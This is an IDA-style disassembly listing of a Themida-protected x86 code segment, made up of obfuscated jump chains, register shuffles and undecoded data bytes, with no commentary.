		sub	ecx, esi
		jmp	loc_553C98
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 67D1E95Ch, 0C483FFFFh, 5A916804h,	3C890000h
		dd 2608BF24h, 54E97124h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C507:				; CODE XREF: Themida_:00559065j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 0FE60D477h
		jmp	loc_55B870
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB0E97EEh, 242C8B16h, 4C481h, 34870000h, 24248B24h
		dd 0E95F5457h, 0FFFFBE84h, 4001E568h, 74E95D6Bh, 5000095h
		dd 6B861410h, 2D07E0C1h, 0FF69D9F4h, 0E958C389h, 0FFFFA9C9h
; ---------------------------------------------------------------------------


loc_55C558:				; CODE XREF: Themida_:0055E832j
		mov	edx, 4E943163h
		add	edx, esi
		jmp	loc_5665B4
; ---------------------------------------------------------------------------
		dd 0C281FA01h, 2FFC5B6Dh, 0D598E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C572:				; CODE XREF: Themida_:0055B7A1j
		push	edi
		mov	edi, 0A365ED0h
		sub	ebx, edi
		pop	edi
		jmp	loc_565E2D
; ---------------------------------------------------------------------------
dword_55C580	dd 0E9D830ACh, 0FFFFDB05h, 8404C0FEh, 48BC300h,	4C48324h
					; DATA XREF: Themida_:00552BA0o
		dd 0FF84C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C599:				; CODE XREF: Themida_:005570A1j
		add	edx, 615801E0h
		jmp	loc_55E753
; ---------------------------------------------------------------------------


loc_55C5A4:				; CODE XREF: Themida_:0055EB8Bj
		imul	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_560E39
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD0C6BEBh, 8361E96Dh
		db 2 dup(0)
word_55C5C2	dw 0BB68h		; DATA XREF: Themida_:00552BD8o
		dd 89000075h, 1CB9240Ch, 1000000h, 5531FFF9h, 0E23BA2BDh
		dd 246C015Fh, 48B5D04h,	4C48124h, 55000000h, 0E23BA2BDh
		dd 5DE8295Fh, 81240C8Bh, 4ECh, 24148900h, 437E68h, 4020E900h
		dd 0E9530000h, 85Dh
; ---------------------------------------------------------------------------


loc_55C60C:				; CODE XREF: Themida_:0055DBE6j
		pop	edi
		jmp	loc_55AB3E
; ---------------------------------------------------------------------------
		dw 53B8h
		dd 557CDA16h, 0EA89C589h, 0A67E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C622:				; CODE XREF: Themida_:00555C93j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55E773
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0D7h
		dd 36D8BD55h, 0C58121E0h, 3A13E828h, 5A5DEF01h,	0FFB831E9h
		dd 5F9F05FFh, 0CCE91DF6h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C65B:				; CODE XREF: Themida_:005678BEj
		push	ebx
		mov	ebx, 1B2E10C4h
		jmp	loc_55B6C7
; ---------------------------------------------------------------------------


loc_55C666:				; CODE XREF: Themida_:0055F12Ej
		shr	ebx, 3
		shl	ebx, 3
		jmp	loc_55AECD
; ---------------------------------------------------------------------------
aV6K7fswp	db 'V╬6!K7FИWP',0
		dd 24048700h, 66F9F65Ch, 66CCB60Fh, 6656F668h, 66240C89h
		dd 66C8B60Fh, 28E99C51h, 8BFFFF66h, 0C483241Ch,	89C38104h
		dd 0E94CBE75h, 74CBh, 2E74B3BAh, 87F2817Dh, 81096274h
		dd 0A52823EAh, 4BEA814Eh, 0E950C268h, 0FFFFA982h
; ---------------------------------------------------------------------------


loc_55C6C8:				; CODE XREF: Themida_:00556994j
		add	edx, edi
		push	eax
		mov	eax, 6466622h
		add	edx, eax
		jmp	loc_55F1C2
; ---------------------------------------------------------------------------


loc_55C6D7:				; CODE XREF: Themida_:005555DDj
		push	ebp
		mov	ebp, 54D5A240h
		jmp	loc_563BF6
; ---------------------------------------------------------------------------


loc_55C6E2:				; CODE XREF: Themida_:005637D4j
		sub	edi, 14E10C23h
		pop	eax
		xor	edi, [esp]
		jmp	loc_5630EF
; ---------------------------------------------------------------------------
byte_55C6F1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552C10o
		dd 5124048Bh, 0C181E189h, 4, 8704C183h,	565C240Ch, 8D8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C70D:				; CODE XREF: Themida_:0055C0ECj
		pop	eax
		jmp	loc_56641E
; ---------------------------------------------------------------------------
		db 29h
		dd 3C8B243Ch, 4C48124h,	51000000h, 0B36E9h
		db 0
byte_55C725	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552B54o
		dd 0D186824h, 0C890000h, 50E18924h, 81E28952h, 4C2h, 1F4CE900h
		dd 0C4810000h, 4, 3319C581h, 0ED811726h, 43A32F7h, 2CE9F501h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C75B:				; CODE XREF: Themida_:0055B3F2j
		push	edi
		push	esi
		push	375972BEh
		pop	esi
		dec	esi
		push	eax
		jmp	loc_5646A3
; ---------------------------------------------------------------------------
word_55C76A	dw 5ADh			; DATA XREF: Themida_:00552A70o
		dd 38FF4BB9h, 0D20D9C2Dh, 4B80539h, 7E93486h, 89FFFF84h
		dd 9DE9241Ch
		db 79h,	2 dup(0FFh)
byte_55C787	db 0ACh			; DATA XREF: Themida_:00552B28o
		dd 0EC83D830h, 24148904h, 5053D6B6h, 0B7538BB0h, 7DF9E90Ch
		dd 0E95CFFFFh, 0FFFFE6F0h
; ---------------------------------------------------------------------------


loc_55C7A4:				; CODE XREF: Themida_:005622CBj
		or	esi, edi
		pop	edi
		jmp	loc_5622AE
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 50241489h, 0DE0233B8h, 2FB52500h
		dd 24051579h, 2505722Eh, 590651B9h, 2D02E8C1h, 408402h
		dd 5658C289h, 0FFDC10E9h, 1B9FFh, 69E90000h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7EB:				; CODE XREF: Themida_:0055C966j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55B5A3
; ---------------------------------------------------------------------------
		db 83h
		dd 0C78304C4h, 74FF5704h, 0E95F0424h, 7066h, 2C0068h, 243C8900h
		dd 7676A968h, 243C8B4Ch, 4C481h, 0E7810000h, 587B198Ah
		dd 5890E781h, 81472A23h, 0D53B3DF7h, 47D7F728h,	0FF8ED6E9h
		dd 4C481FFh, 0E9000000h, 9C9Fh
; ---------------------------------------------------------------------------


loc_55C848:				; CODE XREF: Themida_:00564F24j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1F681F21h
		sub	ebp, 6B0C720Ah
		add	ebp, 615F7AFFh
		xchg	edi, ebp
		xchg	ecx, edi
		jmp	loc_5663C7
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 46824h, 52E90000h, 33000019h, 315C2414h, 78EA81C3h
		dd 0E929A70Eh, 52C3h, 7FA2B951h, 0C181044Ch, 3AC3B576h
		dd 0C5E9CD89h, 58FFFFEBh, 39474D05h, 0F11DE94Eh, 0C33FFFFh
		dd 24248B24h, 2290E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C8C9:				; CODE XREF: Themida_:00556FF4j
		add	esi, ebx
		jmp	loc_55BBFE
; ---------------------------------------------------------------------------


loc_55C8D0:				; CODE XREF: Themida_:005617ABj
		pop	esp
		and	eax, edi
		pop	edi
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_55F138
; ---------------------------------------------------------------------------
		dd 68243C89h, 7E715752h, 5BE9555Fh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8EF:				; CODE XREF: Themida_:005562CCj
		mov	ebp, 669D1ED6h
		not	ebp
		dec	ebp
		add	ebp, 669D1ED9h
		sub	ecx, ebp
		pop	ebp
		push	ebp
		push	ebx
		push	35104E51h
		push	dword ptr [esp]
		jmp	loc_55B916
; ---------------------------------------------------------------------------


loc_55C90F:				; CODE XREF: Themida_:0055AEDEj
		add	ch, al
		pop	eax
		jmp	loc_5576FF
; ---------------------------------------------------------------------------
		db 81h
		dd 92313CEEh, 0ECC68105h, 815A6622h, 0F06D17C6h, 0E9C6017Eh
		dd 0FFFFF4CBh
; ---------------------------------------------------------------------------


loc_55C930:				; CODE XREF: Themida_:00555AB2j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5550C1
; ---------------------------------------------------------------------------


loc_55C959:				; CODE XREF: Themida_:00563743j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		push	249Eh
		jmp	loc_55C7EB
; ---------------------------------------------------------------------------
		dd offset dword_4F7844+524h
		align 10h
		dd 0A6CBE9h, 4C48300h, 12C568h,	2D64E900h, 0C5290000h
		dd 1E02C581h, 87585289h, 895C242Ch, 0E952241Ch,	0FFFFE285h
; ---------------------------------------------------------------------------


loc_55C998:				; CODE XREF: Themida_:005651D7j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_56390E
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 33000000h, 3C31243Ch, 280CE924h, 2C810000h, 872CBC24h
		dd 242C8173h, 49160E1Ah, 0CF242C81h, 0E97E071Fh, 2F8Bh
; ---------------------------------------------------------------------------


loc_55C9D8:				; CODE XREF: Themida_:00553B8Ej
		dec	ebx
		and	ebx, 74791CE8h
		sub	ebx, 31C33C19h
		xor	ebx, 0A21FA55Dh
		xor	edi, ebx
		mov	ebx, [esp]
		jmp	loc_55A3B0
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0E904C483h, 0FFFF9701h, 0ACFDB951h, 0FBE9E5C4h, 89FFFFE2h
		dd 28B42404h, 0E1B35366h, 5B66DC20h, 281DC480h,	1E5BE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA22:				; CODE XREF: Themida_:0055D651j
		and	esi, 5D9F47C9h
		dec	esi
		xor	esi, 441306C3h
		jmp	loc_562F0E
; ---------------------------------------------------------------------------


loc_55CA34:				; CODE XREF: Themida_:0055C418j
		push	eax
		mov	eax, 7C8168F4h
		add	edi, eax
		pop	eax
		xor	edi, 5A965C1Bh
		push	ecx
		mov	ecx, 0F8259096h
		sub	edi, ecx
		pop	ecx
		add	ebx, edi
		pop	edi
		jmp	loc_55EA61
; ---------------------------------------------------------------------------


loc_55CA54:				; CODE XREF: Themida_:0055BD63j
		mov	ebx, [esp]
		jmp	loc_55654B
; ---------------------------------------------------------------------------


loc_55CA5C:				; CODE XREF: Themida_:00567546j
		push	eax
		jmp	loc_564219
; ---------------------------------------------------------------------------
word_55CA62	dw 0A368h		; DATA XREF: Themida_:00552BF4o
		dd 89000060h, 0E9682404h, 89000001h, 0B951243Ch, 8672552h
		dd 8159CF89h, 0E9042444h, 0E9602E07h, 980Fh, 0DB05F801h
		dd 0FF2DB475h, 3C8B2434h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 1280685Ch, 4890000h, 5E08924h, 4,	9BBCE9h
		dd 0C6815900h, 4, 31243433h, 34332434h,	4215C24h, 0F0E99C24h
		dd 0BAFFFF61h, 4, 6C47C581h, 0D50106B0h, 9B4CE9h, 14895C00h
		dd 0E99C5024h, 0FFFF61D3h, 0DA9D64BFh, 5FFE012Dh, 505EF289h
		dd 0ABBEE9h, 555F5E00h,	42474FFh, 0A90EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB0D:				; CODE XREF: Themida_:00559180j
		jnz	loc_552F10
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	4A9E70E8h
		jmp	loc_554300
; ---------------------------------------------------------------------------


loc_55CB2C:				; CODE XREF: Themida_:00558C03j
		not	eax
		xchg	eax, ecx
		push	edx
		mov	edx, 6B5C7C81h
		and	ecx, edx
		jmp	loc_55373B
; ---------------------------------------------------------------------------


loc_55CB3C:				; CODE XREF: Themida_:005564E7j
		sub	byte ptr [esp],	17h
		mov	dh, [esp]
		jmp	loc_5662C5
; ---------------------------------------------------------------------------


loc_55CB48:				; CODE XREF: Themida_:005548CBj
		mov	edi, 6FF83D11h
		sub	edx, edi
		pop	edi
		sub	edx, ebp
		add	edx, 6FF83D11h
		sub	edx, 77781E94h
		add	edx, 37D14436h
		pop	ebp
		and	ecx, edx
		pop	edx
		shr	ecx, 0Bh
		push	3D7h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 33146866h
		and	edi, 66663BF3h
		sub	edi, 0B21BB7FAh
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_566F06
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 89512414h, 1FE950E1h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBAB:				; CODE XREF: Themida_:0055902Fj
		push	esi
		push	edi
		push	esi
		mov	esi, 3A223347h
		inc	esi
		add	esi, 47AA46EEh
		jmp	loc_55D64B
; ---------------------------------------------------------------------------
		db 51h
		dd 61E7B850h, 0F4E93070h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBCB:				; CODE XREF: Themida_:00564AF1j
		add	ebp, 4
		jmp	loc_55CD56
; ---------------------------------------------------------------------------
		dw 6853h
		dd 4C526872h, 83241C8Bh, 0F74304C4h, 77BF57DBh,	14C5268h
		dd 0DA295FFBh, 2414335Bh, 33241431h, 895C2414h,	0FF50241Ch
		dd 1C8B2434h, 4C48124h,	0E9000000h, 0FFFFEFD8h,	4EC8359h
		dd 0FF240489h, 58042474h, 0E924048Fh, 34DBh, 33240C31h
		dd 248B240Ch, 0E9C33124h, 2420h
; ---------------------------------------------------------------------------


loc_55CC34:				; CODE XREF: Themida_:00556E5Aj
		pop	esp
		jmp	loc_55383E
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0E9510000h, 0FFFFE86Fh, 4C681h, 0FF560000h
		dd 0E9042474h, 0FFFF657Dh, 5259CE89h, 953C2FBAh, 77DE950h
		dd 0C2810000h, 5022743Ah, 0FF6E46E9h, 240489FFh, 669668h
		dd 241C8900h, 0FF90ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CC81:				; CODE XREF: Themida_:005607EBj
		pop	edi
		push	596Eh
		mov	[esp], edi
		mov	edi, 37416109h
		or	edi, 0D6B162Eh
		push	ebx
		mov	ebx, 0C09488D5h
		add	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_55ED26
; ---------------------------------------------------------------------------
		db 89h
		dd 46857E5h, 5F000000h,	34FFFD01h, 89535F24h, 0F2B951E3h
		dd 817E881Ah, 9D57ABE9h, 2E9C138h, 0B0D5F181h, 0C381117Ah
		dd 5F5743Eh, 0EB81CB01h, 5F5743Eh, 632FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CCEE:				; CODE XREF: Themida_:005677F7j
		mov	eax, 5EB572BDh
		xchg	eax, edi
		jmp	loc_557488
; ---------------------------------------------------------------------------


loc_55CCF9:				; CODE XREF: Themida_:0056010Cj
		pop	ebx
		xor	ecx, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5567E7
; ---------------------------------------------------------------------------


loc_55CD0C:				; CODE XREF: Themida_:00563439j
		mov	ecx, 42A9250Bh
		jmp	loc_5671D4
; ---------------------------------------------------------------------------
		dw 34FFh
aPh3		db '$[Ph^3',0
		align 10h
aHjl		db 'h╕l',0
		dd 24248900h, 4240481h,	8F000000h, 51E92404h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD37:				; CODE XREF: Themida_:0055678Fj
		push	ecx
		jmp	loc_55F65A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 1
		dd 29000000h, 4572E9EAh, 81490000h, 9065ACF1h, 0A540E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD56:				; CODE XREF: Themida_:0055CBD1j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 302F5C1Ch
		add	ebx, ebp
		pop	ebp
		add	ebx, 3A322AC8h
		sub	ebx, eax
		sub	ebx, 3A322AC8h
		push	eax
		mov	eax, 302F5C1Ch
		sub	ebx, eax
		jmp	loc_561B0B
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 6DE68106h, 0D167AB2Dh, 0F6814EE6h, 0CA02487Bh, 3975EA81h
		dd 0F201166Eh, 3975C281h, 565E166Eh, 2BEh, 0FFF20100h
		dd 348B2434h, 4C48124h,	81000000h, 4C4h, 24143300h, 33241431h
		dd 4AE92414h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CDCF:				; CODE XREF: Themida_:00564236j
		push	11C6h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	5241h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_557424
; ---------------------------------------------------------------------------
		dd 5FBF6866h, 24048966h, 0FF5EBEE9h, 2474FFFFh,	48F5A04h
		dd 0EB815C24h, 9CF0F29h, 2728E9h, 24248B00h, 4BF57h, 1AE90000h
		dd 30000063h, 0A2E95BDEh
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE2F:				; CODE XREF: Themida_:005559E5j
		pop	esp
		jmp	loc_55AE39
; ---------------------------------------------------------------------------


loc_55CE35:				; CODE XREF: Themida_:005567F4j
		and	eax, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_55DA5F
; ---------------------------------------------------------------------------
		dd 24048966h, 5FBB6653h, 0EBC1666Eh, 66536602h,	662414F7h
		dd 0EB81665Bh, 8166407Dh, 687006C3h, 5D95h, 74ECE9h, 34E95400h
		dd 31FFFF6Ch, 851CE9C1h, 0E2D0FFFFh, 282AEA80h,	7C7FE9D0h
		dd 0EEC1FFFFh, 0B115E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE8A:				; CODE XREF: Themida_:0056578Aj
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	24h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ecx, 4E212381h
		jmp	loc_55E29D
; ---------------------------------------------------------------------------


loc_55CEBB:				; CODE XREF: Themida_:00556B51j
		push	201Ah
		mov	[esp], ebp
		push	4EFC32FAh
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55DB40
; ---------------------------------------------------------------------------
dword_55CED4	dd 0E94077FFh, 0FFFF5DE7h, 1C8BD889h, 230E924h
					; DATA XREF: Themida_:00552B00o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CEE6:				; CODE XREF: Themida_:005620D0j
		mov	[esp], ebx
		mov	ebx, 11A3032Ch
		xor	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	6CCDh
		mov	[esp], eax
		jmp	loc_555DC4
; ---------------------------------------------------------------------------
		dd 114C2D5Bh, 0F0297551h, 5CBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CF11:				; CODE XREF: Themida_:005584EDj
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55B7A6
; ---------------------------------------------------------------------------
		db 81h
		dd 0F61FA2C2h, 8B4DE983h, 2489FFFFh, 0A607E924h, 112DFFFFh
		dd 3106CC58h, 0BB16E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CF56:				; CODE XREF: Themida_:00558945j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		pop	eax
		push	edx
		mov	edx, 58E663F1h
		xor	eax, edx
		jmp	loc_558F41
; ---------------------------------------------------------------------------
		dw 0C15Dh
		dd 0EF8105EFh, 66EB4665h, 2887EF81h, 0FB2187DCh, 0E9243C8Bh
		dd 5999h, 7264C8BEh, 1235BD7Bh,	0F529339Eh, 10D9E9h, 7956800h
		dd 14890000h, 2404FF24h, 3EAC15Ah, 9B22E9h, 40500h, 0E8830000h
		dd 8969E904h
		db 2 dup(0)
word_55CFC2	dw 8F66h		; DATA XREF: Themida_:00552AC4o
		dd 5CF9E902h, 6DBAFFFFh, 164FB6Bh, 0E9082454h, 0FFFFA694h
; ---------------------------------------------------------------------------


loc_55CFD8:				; CODE XREF: Themida_:0055EB77j
		push	edx
		mov	edx, 0D7CC4D2h
		sub	ebx, 4AC4197Eh
		jmp	loc_5553A9
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C4h
		dd 24348704h, 16F2815Ch, 16ED17Fh, 2434FFD1h, 4C4835Ah
		dd 2BB53h, 0C1810000h, 579C7AADh, 0E981D929h, 579C7AADh
		dd 240C335Bh, 0FF87F3E9h, 241C33FFh, 0E9241C31h, 0FFFFA91Bh
		dd 0EA805B58h, 0FFD00074h, 0E95A2434h, 8C00h, 8904EC83h
		dd 268242Ch, 8B5BA55Eh,	55E9242Ch, 81FFFF97h, 6F0D97EFh
		dd 240C8B1Bh, 81E38953h, 4C3h, 4C38100h, 0E9000000h, 0FFFF6A24h
; ---------------------------------------------------------------------------


loc_55D068:				; CODE XREF: Themida_:00559054j
		xchg	ebx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5600E7
; ---------------------------------------------------------------------------
		dw 582Dh
		dd 563DF46h, 3D1A0B69h,	0FFAE9BE9h, 0EA8158FFh,	6B7724FAh
		dd 68h,	24142900h, 77F2815Ah, 0E9785D0Ah, 6A3Ah
; ---------------------------------------------------------------------------


loc_55D0A4:				; CODE XREF: Themida_:0055F5FBj
		push	edi
		mov	edi, 45052328h
		jmp	loc_55EB71
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8103EDh, 4, 0B8240489h, 29EC3B55h, 8158C531h, 9E477AF5h
		dd 0FFE92927h, 2C8B2434h, 4C48324h, 4C481h, 0CA290000h
		dd 74FF5259h, 8F5A0424h, 248B2404h, 0C1AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D0EE:				; CODE XREF: Themida_:00556F7Dj
		pop	eax
		mov	edi, [esp]
		jmp	loc_565BC9
; ---------------------------------------------------------------------------
		db 1
aY4S		db 'хY)п-4,s',0
		db 0E9h, 0Ch, 0DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D106:				; CODE XREF: Themida_:00566664j
		add	edx, ebx
		sub	edx, 540E6F43h
		mov	ebx, [esp]
		jmp	loc_55F63F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7E8C104h, 4EC8340h, 83240489h, 5801242Ch, 20BD562Dh
		dd 58C629F5h, 54C4C681h, 0EC8354E4h, 243C8904h,	0B23C84BFh
		dd 0C3F2E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D146:				; CODE XREF: Themida_:00555EB9j
		xor	[esp+4], edi
		jmp	loc_55C3C1
; ---------------------------------------------------------------------------
		db 54h
		dd 8124348Bh, 4C4h, 0ABB85000h,	4024C404h, 0C107E0C1h
		dd 0D8F702E8h, 5BF5E9h,	0F7D9F700h, 81D9F7D9h, 2DD93AF1h
		dd 12C9E9E7h, 0C5810000h, 4, 4ED81h, 2C870000h,	3C895C24h
		dd 57E4BF24h, 0C7817503h, 1502056Eh, 34E1EF81h,	0F7810195h
		dd 1F875DC9h, 1309B951h, 0CF296AC2h, 792DE9h, 815D5B00h
		dd 0BB3213E9h, 0E9E9D157h, 0FFFF8497h
; ---------------------------------------------------------------------------


loc_55D1C4:				; CODE XREF: Themida_:00562F8Ej
		add	esp, 4
		jmp	loc_55D352
; ---------------------------------------------------------------------------
		dd 5004C483h, 83242C8Bh, 815804C4h, 980319EAh, 0E9EA0113h
		dd 57E2h
; ---------------------------------------------------------------------------


loc_55D1E4:				; CODE XREF: Themida_:00561E29j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, esi
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_554685
; ---------------------------------------------------------------------------


loc_55D228:				; CODE XREF: Themida_:00563C39j
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_55BB84
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 3Eh
		dd 0FF65B745h, 83582434h, 2C8904ECh, 0E9E58924h, 0FFFFBEDFh
dword_55D248	dd 240C8B66h, 1A9568h, 242C8900h, 0B3E9E589h, 0B9FFFFB6h
					; DATA XREF: Themida_:00552A14o
		dd 5230F967h, 0E959CF31h, 1F36h
; ---------------------------------------------------------------------------


loc_55D268:				; CODE XREF: Themida_:00555759j
		sub	ebp, 117E6571h
		xor	ebp, 30C33D7Dh
		add	ebp, 21CF0EA8h
		jmp	loc_5677BC
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6A0B22A7h, 0E946D6F7h, 978Eh
; ---------------------------------------------------------------------------


loc_55D28C:				; CODE XREF: Themida_:0055EDD0j
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563BAC
; ---------------------------------------------------------------------------
aISl		db '┴<$ИL',7,0
		db 0
; ---------------------------------------------------------------------------


loc_55D2A1:				; CODE XREF: Themida_:00564FB4j
		mov	edi, 76CD36F6h
		not	edi
		sub	edi, 0FFFFFFFFh
		sub	edi, 2B5087B6h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	1
		pop	edx
		and	ecx, edx
		mov	edx, [esp]
		push	1ED5h
		mov	[esp], ecx
		push	6ACBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_558CF4
; ---------------------------------------------------------------------------
		db 2Dh,	4Ch, 75h
		dd 0F3350B9Bh, 29492E3Dh, 0E14DE9C2h, 3C33FFFFh, 243C3124h
		dd 0E9243C33h, 0FFFF7BB6h, 81E5D15Dh, 0CBBDFCEDh, 0B5C681ACh
		dd 11FDA40h, 0B5EE81EEh, 0E91FDA40h, 0FFFFCC1Fh, 0D4F617B4h
		dd 0C0E6EC80h, 0CCFE04ECh, 8855E9h, 941BE00h, 0E5E94598h
		dd 55FFFFB0h, 655568h, 3F90E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D352:				; CODE XREF: Themida_:0055D1C7j
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		push	2274h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55BE90
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4F000B5h, 662E04B5h,	4AEB652h, 51F000BBh, 0E828BBB5h
		dd 685A6659h, 7EDh, 0B2241489h,	4EAC000h, 0C0FFEA80h, 686602EAh
		dd 8966209Eh, 5150241Ch, 0DDF65CB5h, 0ED80CDFEh, 59E88803h
		dd 45E9C788h, 0B1FFFFEEh, 59C8305Ah, 5CB15152h,	0E9F2C180h
		dd 0FFFF7652h
; ---------------------------------------------------------------------------


loc_55D3C0:				; CODE XREF: Themida_:0055DD1Ej
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_55EA48
; ---------------------------------------------------------------------------


loc_55D3D1:				; CODE XREF: Themida_:00558971j
		xor	ecx, ebp
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, ebp
		mov	ecx, edi
		pop	edi
		pop	ebp
		jmp	loc_5531BC
; ---------------------------------------------------------------------------
		db 1
		dd 15E95AD6h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D3EB:				; CODE XREF: Themida_:005608A7j
		push	25D52EC8h
		pop	ecx
		add	ecx, 0E1321A47h
		mov	eax, ecx
		jmp	loc_556A67
; ---------------------------------------------------------------------------
		dw 268h
		dd 0E9000000h, 0FFFF7A4Bh, 4C4835Fh, 0F181E9D1h, 19ED4002h
		dd 5124D005h, 2DC80152h, 525124D0h, 592434FFh, 843AE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D42A:				; CODE XREF: Themida_:00552FB8j
		mov	[esp], ebp
		jmp	loc_56005C
; ---------------------------------------------------------------------------


